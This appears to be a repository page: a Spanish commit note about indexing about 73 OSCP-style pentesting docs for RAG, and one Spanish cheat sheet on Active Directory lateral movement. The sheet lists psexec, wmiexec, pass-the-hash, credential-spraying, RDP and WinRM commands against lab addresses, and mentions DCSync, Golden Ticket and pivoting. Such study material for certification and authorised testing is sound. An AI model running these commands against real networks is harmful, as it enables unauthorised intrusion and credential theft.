7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
990 B
990 B
Movimiento lateral
Saltar de una máquina a otra con credenciales/hashes obtenidos. Paso 5-6 de la cadena de Active Directory.
Con qué saltas
impacket-psexec dominio/user:pass@10.10.10.20 # shell SYSTEM
impacket-wmiexec dominio/user:pass@10.10.10.20 # sin tocar disco
impacket-psexec -hashes :NTLMHASH user@10.10.10.20 # Pass-the-Hash
nxc smb 10.10.10.0/24 -u user -p pass # ¿dónde valen estas creds?
xfreerdp /u:user /p:pass /v:10.10.10.20 # RDP si hay GUI
evil-winrm -i 10.10.10.20 -u user -p pass # WinRM (5985)
Regla clave
Reutiliza credenciales: cada pass/hash que pillas → pruébalo contra todos los hosts y servicios (Metodología OSCP).
Decidir a dónde
- BloodHound te dice qué usuario es admin dónde y el camino a Domain Admin.
- Si llegas al DC → secretsdump / DCSync → Golden Ticket.
- Red interna no enrutable → Pivoting ligolo-ng.
Relacionado: Impacket · Mimikatz · OSCP MOC